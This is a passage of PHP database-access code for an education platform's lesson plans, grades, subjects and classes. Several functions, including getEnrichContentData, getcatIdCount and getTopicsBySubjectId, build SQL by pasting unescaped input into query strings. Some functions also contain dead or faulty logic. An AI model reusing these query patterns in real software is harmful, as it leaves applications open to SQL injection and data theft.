                        $dataIns = $this->table->insert($userDataToSave);
                    }
                }
            }

            $result = 'Update';
        }


        if (isset($data['prerequisite']) && count($data['prerequisite'])) {
            $this->table = $this->initTableObject('t_b2c_cm_lessonplan_prerequisite');
            foreach ($data['prerequisite'] as $val) {
                if ($val) {
                    $userDataToSave = array();
                    $userDataToSave['LESSONPLAN_ID'] = $lession_plan_id;
                    $userDataToSave['PRERQST_ID'] = $val;
                    $userDataToSave['CREATED_ON'] = date('Y-m-d H:i:s');
                    $dataIns = $this->table->insert($userDataToSave);
                }
            }
        }



        return $result;
    }

    function checkLpRequirement($lession_plan_id, $cont_id = null) {

        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_requirement');
        $select = $this->table->getSql()->select();
        $select->columns(array('LPREQ_ID'));
        $select->where(array('LESSONPLAN_ID' => $lession_plan_id));

        if (!empty($cont_id)) {
            $select->where(array('CONT_ID' => $cont_id));
        }

        $resultSet = $this->table->selectWith($select);
        return count($resultSet->toarray());
    }

    function checkLpTopic($lession_plan_id, $topic_id) {

        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_topic');
        $select = $this->table->getSql()->select();
        $select->columns(array('TOPIC_ID'));
        $select->where(array('TOPIC_ID' => $topic_id, 'LESSONPLAN_ID' => $lession_plan_id));
        $resultSet = $this->table->selectWith($select);
        return count($resultSet->toarray());
    }

    //get all grades
    function getAllGrades($orgId = null) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID', 'GRADE_NAME'));
        $select->join('t_b2c_cm_cnf_standard', 't_b2c_cm_cnf_standard.STANDARD_ID = t_b2c_cm_mgr_grade.STANDARD_ID', array('STANDARD_ID', 'STANDARD_NAME'));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    //get all Years/Batches
    function getBatches($orgId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_batch');
        $select = $this->table->getSql()->select();
        $select->where(array('ORG_ID' => $orgId));
        $select->order('BATCH_ID DESC');
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return $res;
    }

    //get all Subject by grade id
    function getSubjectByGrade2($grade_id, $teacher_id = null) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->where(array('GRADE_ID' => $grade_id));
        if (!empty($teacher_id)) {
            $grades = $this->getTeacherAssignedGrade($teacher_id);
            $select->where->in('CLASS_ID', $grades);
        }
        $select->order('CLASS_NAME ASC');
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return $res;
    }

    //subject list for dropdown behalf of grades
    function getsubjectlist($gradeid) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(['SUBJECT_ID', 'SUBJECT_NAME', 'GRADE_ID']);
        $select->where(['GRADE_ID' => $gradeid]);
        $resultSet = $this->table->selectWith($select);

        $res = $resultSet->toarray();
        return $res;
    }

    function getAllTopic($lession_plan_id) {
        return [];
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_topic');
        $select = $this->table->getSql()->select();
        $select->columns(array('TOPIC_ID', 'LP_TOPIC_ID'));
        $select->join('t_b2c_cm_cnf_syllabus', 't_b2c_cm_cnf_syllabus.CAT_ID = t_b2c_cm_lessonplan_topic.TOPIC_ID', array('SUBJECT_ID', 'CAT_NAME'));
        $select->where(array('t_b2c_cm_lessonplan_topic.LESSONPLAN_ID' => $lession_plan_id));
        //$select->where(array('t_b2c_cm_cnf_syllabus.CAT_FLAG'=>'T'));
        $select->order('t_b2c_cm_lessonplan_topic.LP_TOPIC_ID ASC');
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return $res;
    }

    function getGradeIdByClassId($classId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_class');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID'));
        $select->where(array('CLASS_ID' => $classId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0]['GRADE_ID'])) {
            return $res[0]['GRADE_ID'];
        }
        return false;
    }

    function getGradeIdBySubjectId($subjectId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID', 'SUBJECT_ID', 'SUBJECT_NAME'));
        $select->where(array('SUBJECT_ID' => $subjectId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0]['GRADE_ID'])) {
            return $res[0]['GRADE_ID'];
        }
        return false;
    }

    function getClassByGrade($gradeId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->where(array('GRADE_ID' => $gradeId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();

        return $res;
    }

    function getCurriculumNavigation($subject_id = 0) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', ['GRADE_ID', 'GRADE_NAME', 'STANDARD_ID']);
        $select->join('t_b2c_cm_cnf_standard', 't_b2c_cm_cnf_standard.STANDARD_ID = t_b2c_cm_mgr_grade.STANDARD_ID', ['STANDARD_NAME', 'COUNTRY_ID']);
        $select->join('t_adm_cnf_country', 't_adm_cnf_country.COUNTRY_ID = t_b2c_cm_cnf_standard.COUNTRY_ID', ['SHORT_NAME']);
        $select->where(array('SUBJECT_ID' => $subject_id));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->current();
        return $res;
    }

    function getTopicsByTopicsIds($topicsIds = null) {
        if (!empty($topicsIds)) {
            $topicsIdsArr = explode(',', $topicsIds);
            $this->table = $this->initTableObject('t_b2c_cm_mgr_curriculum_outline');
            $select = $this->table->getSql()->select();
            $select->columns(array('CAT_ID', 'CAT_NAME'));

            $predicate = new Predicate\Predicate();
            foreach ($topicsIdsArr as $topicId) {
                $predicate->OR->equalTo('CAT_ID', $topicId);
            }
            $select->where->addPredicate($predicate);
            $resultSet = $this->table->selectWith($select);
            $res = $resultSet->toArray();
            return $res;
        }
        return [];
    }

    function gettopiclist($lessionPlanId) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_topic');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_curriculum_outline', 't_b2c_cm_mgr_curriculum_outline.CAT_ID = t_b2c_cm_lessonplan_topic.TOPIC_ID', ['CAT_ID', 'CAT_NAME']);
        $select->where(array('LESSONPLAN_ID' => $lessionPlanId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toArray();
        return $res;
    }

    function getTopicListByContentId($contId) {
        $this->table = $this->initTableObject('t_b2c_cm_cont_cat');
        $select = $this->table->getSql()->select();
        $query = "SELECT t_b2c_cm_cont_cat.*, t_b2c_cm_mgr_curriculum_outline.CAT_ID AS TOPIC_ID, t_b2c_cm_mgr_curriculum_outline.CAT_NAME AS CAT_NAME FROM t_b2c_cm_cont_cat INNER JOIN t_b2c_cm_mgr_curriculum_outline ON t_b2c_cm_mgr_curriculum_outline.CAT_ID = t_b2c_cm_cont_cat.CAT_ID WHERE CONT_ID = ?";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array($contId));
        return $this->returnPrepareResult($result);
    }

    function getLOlist($lessionPlanId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_lessonplan_lo');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_cnf_lo', 't_b2c_cm_mgr_lessonplan_lo.ST_LO_ID = t_b2c_cm_cnf_lo.LO_ID', ['TOPIC_ID', 'LO_NAME']);
        $select->where(array('LESSONPLAN_ID' => $lessionPlanId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toArray();
        $topiclos = '';
        if (!empty($res)) {
            foreach ($res as $lo) {
                $topiclos .= $lo['LO_NAME'] . ",";
            }
            $topiclos = rtrim($topiclos, ',');
        }
        return $topiclos;
    }

    function gettopicIdlist($lessionPlanId) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_topic');
        $select = $this->table->getSql()->select();
        $select->columns(array('TOPIC_ID'));
        $select->join('t_b2c_cm_mgr_curriculum_outline', 't_b2c_cm_mgr_curriculum_outline.CAT_ID = t_b2c_cm_lessonplan_topic.TOPIC_ID', array());
        $select->where(array('LESSONPLAN_ID' => $lessionPlanId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toArray();
        $topicIds = array();
        foreach ($res as $topicId) {
            $topicIds[] = $topicId['TOPIC_ID'];
        }
        return $topicIds;
    }

    function getcatIdCount($cat, $contentId) {
        $query = "SELECT * FROM `t_b2c_cm_cont_cat` WHERE CONT_ID IN ($contentId) and CAT_ID=" . $cat . " ";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array());
        return $this->returnPrepareResult($result);
    }

    function check_Lo_val_Exist($TOPIC_ID, $LO_ID, $lessionplanId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_lessonplan_lo');
        $select = $this->table->getSql()->select();
        $select->where(array('TOPIC_ID' => $TOPIC_ID, 'ST_LO_ID' => $LO_ID, 'LESSONPLAN_ID' => $lessionplanId));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    function check_Lo_val_Exist_contId($TOPIC_ID, $LO_ID, $CONT_ID) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_content_lo');
        $select = $this->table->getSql()->select();
        $select->where(array('TOPIC_ID' => $TOPIC_ID, 'ST_LO_ID' => $LO_ID, 'CONT_ID' => $CONT_ID));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    function getcatId($CONT_ID) {
        $this->table = $this->initTableObject('t_b2c_cm_cont_cat');
        $select = $this->table->getSql()->select();
        //$select->join('t_b2c_cm_mgr_curriculum_outline', 't_b2c_cm_mgr_curriculum_outline.CAT_ID = t_b2c_cm_lessonplan_topic.TOPIC_ID', ['CAT_ID', 'CAT_NAME']);
        $select->where(array('CONT_ID' => $CONT_ID));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toArray();
        return $res;
    }

    function getcatIdForAdm($CONT_ID) {
        $this->table = $this->initTableObject('t_b2c_cm_cont_cat');
        $select = $this->table->getSql()->select();
        //$select->join('t_b2c_cm_mgr_curriculum_outline', 't_b2c_cm_mgr_curriculum_outline.CAT_ID = t_b2c_cm_lessonplan_topic.TOPIC_ID', ['CAT_ID', 'CAT_NAME']);
        $select->where(array('CONT_ID' => $CONT_ID));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toArray();
        return $res;
    }

    /**
     * @desc get all Enrichment content data with category (Topic) Id's
     * @param {string} $catIds | imploded catIds as string
     * @return {array} $retArr
     */
    public function getEnrichContentData($searchfor, $contentTypeId, $subject_id, $catIds = null, $condArr = null, $start = 0, $end = null, $published = false) {

        if (!empty($condArr)) {
            $catIds = array_filter($condArr);
        }

        $query = "SELECT t_b2c_cm_cnf_content.* FROM t_b2c_cm_cnf_content
                JOIN t_b2c_cm_cont_cat ON t_b2c_cm_cont_cat.CONT_ID = t_b2c_cm_cnf_content.CONT_ID
                WHERE t_b2c_cm_cnf_content.ENRICHMENT_FLAG = 'Y' ";

        if (!empty($subject_id)) {
            $query .= " AND t_b2c_cm_cont_cat.CAT_ID IN ($catIds)";
        }
        if (!empty($contentTypeId)) {
            $query .= " AND t_b2c_cm_cnf_content.CONTTYPE_ID = $contentTypeId";
        }
        if (!empty($searchfor)) {
            $query .= " AND t_b2c_cm_cnf_content.CONT_TITLE = '" . $searchfor . "' or t_b2c_cm_cnf_content.CONT_DESC = '" . $searchfor . "'  ";
        }

        if ($published) {
            $query .= " AND t_b2c_cm_cnf_content.IS_PUBLISH = 'Y' ";
        }
        $query .= " GROUP BY t_b2c_cm_cnf_content.CONT_ID";
        $query .= " ORDER BY t_b2c_cm_cnf_content.CONT_ID DESC";
        if (!empty($end)) {
            $query .= " LIMIT $start, $end";
        }


        $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
        $retArr = $resultSet->toarray();
        return $retArr;
    }

    function getTopicsBySubjectId($subjectid = 0, $catFlag = null) {
        $topicCond = '';
        if (!empty($catFlag))
            $topicCond = ' AND node.CAT_FLAG!="' . $catFlag . '"';
        $query = "SELECT node.CAT_ID CAT_ID,parent.CAT_ID PID,node.CAT_NAME,node.STATUS_FLAG,(COUNT(parent.CAT_NAME) - 1) AS DEPTH, node.SUBJECT_ID,node.CAT_FLAG
                    FROM t_b2c_cm_mgr_curriculum_outline  AS node,t_b2c_cm_mgr_curriculum_outline AS parent
                    WHERE node.LFT BETWEEN parent.LFT AND parent.RGT
            AND node.SUBJECT_ID = parent.SUBJECT_ID
                    $topicCond
                    GROUP BY node.CAT_ID
            HAVING node.SUBJECT_ID=?
                    ORDER BY node.LFT";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array($subjectid));
        return $this->returnPrepareResult($result);
    }

    function getBatchIdByGradeId($gardeid) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('BATCH_ID'));
        $select->where(array('GRADE_ID' => $gardeid));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0]['BATCH_ID'])) {
            return $res[0]['BATCH_ID'];
        }
        return false;
    }

    function getBatchByGradeId($gradeId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('BATCH_ID'));
        $select->where(array('GRADE_ID' => $gradeId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0]['BATCH_ID'])) {
            return $res[0]['BATCH_ID'];
        }
        return false;
    }

    //get all Class by org id
    function getClass($orgId) {

        $this->table = $this->initTableObject('t_b2c_cm_cnf_class');
        $select = $this->table->getSql()->select();
        $select->columns(array('CLASS_ID', 'CLASS_NAME', 'CLASS_DESC', 'TEACHER_ID', 'GRADE_ID', 'CREATED_BY', 'CREATED_ON'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_cnf_class.GRADE_ID', array());
        $select->join('t_b2c_cm_cnf_batch', 't_b2c_cm_cnf_batch.BATCH_ID = t_b2c_cm_mgr_grade.BATCH_ID', array());
        $select->where(array('t_b2c_cm_cnf_batch.ORG_ID' => $orgId));
        $select->order('t_b2c_cm_cnf_class.CLASS_NAME ASC');
        //$sql = $this->table->getSql();
        //echo $sql->getSqlstringForSqlObject($select); die ;	
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        //echo "<pre>"; print_r($data); die;
        return $data;
    }

    //get all grades by org id [ul]
    function getGradesByOrgId($auth) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID', 'GRADE_NAME'));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    function getGradesNameBySubjectId($sId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID', 'GRADE_NAME'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array('SUBJECT_NAME'));
        $select->join('t_b2c_cm_cnf_standard', 't_b2c_cm_cnf_standard.STANDARD_ID = t_b2c_cm_mgr_grade.STANDARD_ID', array('STANDARD_NAME'));
        $select->join('t_adm_cnf_country', 't_adm_cnf_country.COUNTRY_ID = t_b2c_cm_cnf_standard.COUNTRY_ID', array('SHORT_NAME'));
        $select->where(array('t_b2c_cm_mgr_subject.SUBJECT_ID' => $sId));
        //$select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $org_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (isset($data[0])) {
            return $data[0];
        } else {
            return $data;
        }
    }

    //get all class of admin [created by]  [ul]
    function getClassOfCreatedBy($auth) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_class');
        $select = $this->table->getSql()->select();
        $select->columns(array('CLASS_ID', 'CLASS_NAME'));
        //$select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_cnf_class.GRADE_ID',array());  
        //$select->join('t_b2c_cm_cnf_batch', 't_b2c_cm_cnf_batch.BATCH_ID = t_b2c_cm_mgr_grade.BATCH_ID',array());  
        //$select->where(array('t_b2c_cm_cnf_batch.ORG_ID'=>$auth['ORG_ID']));
        $select->where(array('t_b2c_cm_cnf_class.CREATED_BY' => $auth['USER_OID']));
        //$sql = $this->table->getSql();
        //echo $sql->getSqlstringForSqlObject($select); die ;	
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        //echo "<pre>"; print_r($data); die;
        return $data;
    }

    // Get grades by batch ID
    function getSectionByGradeId($grade_id, $section_id = NULL) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_section');
        $select = $this->table->getSql()->select();
        $select->where(array('GRADE_ID' => $grade_id));
        $select->order('SECTION_NAME ASC');
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    /**
     * @desc Get subject by Grade ID with master test join..
     * @param integer $grade_id
     * @param integer $teacher_id
     * @return array
     */
    function getSubjectByGrade($grade_id, $teacher_id = null) {
        if (!$grade_id)
            return [];
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID', 'SUBJECT_NAME'));
        /** Used to get subject's associated quiz-id. */
        $select->join('t_b2c_master_test', 't_b2c_master_test.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', ['QUIZ_ID'], 'LEFT');
        $select->where(array('t_b2c_cm_mgr_subject.GRADE_ID' => $grade_id));
        if (!empty($teacher_id)) {
            $subjects = $this->getTeacherAssignedSubjects($teacher_id);
            $select->where->in('t_b2c_cm_mgr_subject.SUBJECT_ID', $subjects);
        }
        $select->group(['t_b2c_master_test.SUBJECT_ID']);
        $select->order('t_b2c_cm_mgr_subject.SUBJECT_ORDER ASC');
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    function getSubjectByGradeb2c($grade_id, $teacher_id = null) {
        if (!$grade_id)
            return [];
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->where(array('t_b2c_cm_mgr_subject.GRADE_ID' => $grade_id));
        $select->order('t_b2c_cm_mgr_subject.SUBJECT_ORDER ASC');
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    /**
     * @desc Get subject by Grade ID.
     * @param integer $grade_id
     * @param integer $teacher_id
     * @return array
     */
    function getSubjectsByGrade($grade_id, $teacher_id = null) {
        if (!$grade_id)
            return [];
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID', 'SUBJECT_NAME', 'ADM_REF_ID'));
        $select->where(array('t_b2c_cm_mgr_subject.GRADE_ID' => $grade_id));
        if (!empty($teacher_id)) {
            $subjects = $this->getTeacherAssignedSubjects($teacher_id);
            $select->where->in('t_b2c_cm_mgr_subject.SUBJECT_ID', $subjects);
        }
        $select->order('t_b2c_cm_mgr_subject.SUBJECT_ORDER ASC');
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    // Get subject by Grade ID
    function getSubjectBySubjectId($grade_id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->where(array('SUBJECT_ID' => $grade_id));
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toarray();
        if (!empty($res[0])) {
            $ret = $res[0];
        }
        return $ret[0];
    }

    // Get subject by Grade ID + USER ID
    function getSubjectByGradeAndUserOId($grade_id, $user_oid) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array());
        $select->join('t_b2c_usr_enrollment', 't_b2c_usr_enrollment.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('*'));
        $select->where(array('t_b2c_cm_mgr_subject.GRADE_ID' => $grade_id));
        $select->where(array('t_b2c_usr_enrollment.USER_OID' => $user_oid));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    // Get subject by Grade ID + ORG_ID
    function getSubjectByGradeAndOrgId($grade_id, $org_id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array());
        $select->where(array('t_b2c_cm_mgr_subject.GRADE_ID' => $grade_id));
        //$select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $org_id));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    // Get Topic by Subject ID
    function getTopicBySubject($subject_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_syllabus');
        $select = $this->table->getSql()->select();
        $select->columns(array('CAT_ID', 'CAT_NAME'));
        $select->where(array('SUBJECT_ID' => $subject_id));
        $select->where(array('CAT_FLAG' => 'T'));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    //add batch 
    function addBatch($postData, $orgId) {
        $saveData['ORG_ID'] = $orgId;
        $saveData['BATCH'] = trim($postData['BATCH']);
        $this->table = $this->initTableObject('t_b2c_cm_cnf_batch');
        if (isset($postData['CURRENT_FLAG'])) {
            $updateData['CURRENT_FLAG'] = 0;
            $this->table->update($updateData, array(
                'CURRENT_FLAG' => 1,
            ));
            $saveData['CURRENT_FLAG'] = 1;
        }
        $dataIns = $this->table->insert($saveData);

        return $dataIns;
    }

    //edit batch
    function editBatch($postData, $orgId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_batch');
        $updateData['BATCH'] = $postData['BATCH'];
        if (isset($postData['CURRENT_FLAG'])) {
            $updateFlag['CURRENT_FLAG'] = 0;
            $this->table->update($updateFlag, array(
                'CURRENT_FLAG' => 1,
            ));
            $updateData['CURRENT_FLAG'] = 1;
        }
        $this->table->update($updateData, array(
            'BATCH_ID' => $postData['BATCH_ID']
        ));
        return 1;
    }

    //delete batch
    function deleteBatch($batchId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_batch');
        return $this->table->delete(array('BATCH_ID' => $batchId));
    }

    // delete lesson plan topic
    function deleteLpTopic($lptopicid) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_topic');
        return $this->table->delete(array('LP_TOPIC_ID' => $lptopicid));
    }

    //get batch details
    function getBatchDetails($batchId, $org_id) {
        $ret = array();
        //echo $batchId;die;
        $this->table = $this->initTableObject('t_b2c_cm_cnf_batch');
        $select = $this->table->getSql()->select();
        $select->where(array('BATCH_ID' => $batchId, 'ORG_ID' => $org_id));

        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0])) {
            $ret = $res[0];
        }
        return $ret;
    }

    function getSubjectID($cat_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_syllabus');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID'));
        $select->where(array('CAT_ID' => $cat_id));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0]['SUBJECT_ID'])) {
            return $res[0]['SUBJECT_ID'];
        }
        return false;
    }

    //get Grade IDs by batch ID
    function getLessonPlanByCatId($cat_id, $cgbID = null) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('LESSONPLAN_ID', 'CAT_ID', 'LP_NAME', 'CGB_ID'));
        $select->where(array('CAT_ID' => $cat_id));
        if (!empty($cgbID)) {
            $select->where(array('CGB_ID' => $cgbID));
        }

        $select->order('LP_POSITION ASC');
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    //get lesson plan detail
    function getLessonPlanDetail($lession_plan_id) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('LESSONPLAN_ID', 'LEARNING_OBJECTIVE', 'SUBJECT_ID', 'LP_NAME', 'LP_POSITION', 'UNLOCK_ON', 'LP_REQUIREMENT'));
        $select->where(array('LESSONPLAN_ID' => $lession_plan_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data[0];
    }

    //Get prerequisite LESSONPLAN ID
    function getPrerequisite($lession_plan_id) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_prerequisite');
        $select = $this->table->getSql()->select();
        $select->columns(array('PRERQST_ID'));
        $select->where(array('LESSONPLAN_ID' => $lession_plan_id));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    //get lp postion id
    function getLessonPlanPositionId($postion) {
        $predicate = new \Zend\Db\Sql\Where();
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('LESSONPLAN_ID'
            , 'maxValue' => new Expression('max(LP_POSITION)')));
        $select->where($predicate->lessThan('LP_POSITION', $postion));
        $select->group('LESSONPLAN_ID');
        $select->order('LP_POSITION DESC');
        $select->order('LESSONPLAN_ID');
        $select->limit(1);

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['LESSONPLAN_ID'])) {
            return $data[0]['LESSONPLAN_ID'];
        }
        return 0;

//            $postion  = $postion-1;
//		$this->table =  $this->initTableObject('t_b2c_cm_lessonplan_master');
//                $select = $this->table->getSql()->select();
//		$select->columns(array('LESSONPLAN_ID')); 
//		$select->where(array('LP_POSITION'=>$postion)); 
//		
//		$resultSet = $this->table->selectWith($select);
//		$data  = $resultSet->toarray();   
//		if(!empty($data[0]['LESSONPLAN_ID'])){
//			return $data[0]['LESSONPLAN_ID'];
//		}
//        return 0;
//echo $sql->getSqlstringForSqlObject($select); die ; 
    }

    //get class list by user id
    function getClassList($userId = null, $gradeId = null) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_class');
        $select = $this->table->getSql()->select();

        if (!empty($userId))
            $select->where(array('CREATED_BY' => $userId));

        if (!empty($gradeId))
            $select->where(array('GRADE_ID' => $gradeId));
        $select->order('CLASS_ID DESC');
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return $res;
    }

    //get class detail by class id
    function getClassDetail($classId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_class');
        $select = $this->table->getSql()->select();
        $select->where(array('CLASS_ID' => $classId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0]))
            return $res[0];
        return false;
    }

    function getSubjectDetailContentDetail($arr = null) {
        if (empty($arr["user_id"]) || empty($arr["subject_id"])) {
            return false;
        }
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->where(array('SUBJECT_ID' => $arr["subject_id"]));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return (!empty($res[0])) ? $res[0] : false;
    }

    //get class detail by class id
    function getSubjectDetail($subjectId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        /** Used to get subject's associated quiz-id. */
        $select->join('t_b2c_master_test', 't_b2c_master_test.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', ['QUIZ_ID']);
        $select->where(array('t_b2c_cm_mgr_subject.SUBJECT_ID' => $subjectId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();

        if (!empty($res[0]))
            return $res[0];
        return false;
    }

    // Function check class detail by class id and ORG_ID

    function checkClassDetailByOrgId($classId, $org_id) {

        $this->table = $this->initTableObject('t_b2c_cm_cnf_class');
        $select = $this->table->getSql()->select();
        $select->columns(array('CLASS_ID'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_cnf_class.GRADE_ID', array());
        $select->join('t_b2c_cm_cnf_batch', 't_b2c_cm_cnf_batch.BATCH_ID = t_b2c_cm_mgr_grade.BATCH_ID', array());
        $select->where(array('t_b2c_cm_cnf_batch.ORG_ID' => $org_id));
        $select->where(array('t_b2c_cm_cnf_class.CLASS_ID' => $classId));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return count($data);
    }

    //add class
    function addClass($postData) {
        $postData['CREATED_ON'] = date('Y-m-d H:i:s');
        $this->table = $this->initTableObject('t_b2c_cm_cnf_class');
        $dataIns = $this->table->insert($postData);
        return $dataIns;
    }

    //edit/update class
    function editClass($postData, $userId) {
        $update = 1;
        $updateData['CLASS_NAME'] = $postData['CLASS_NAME'];
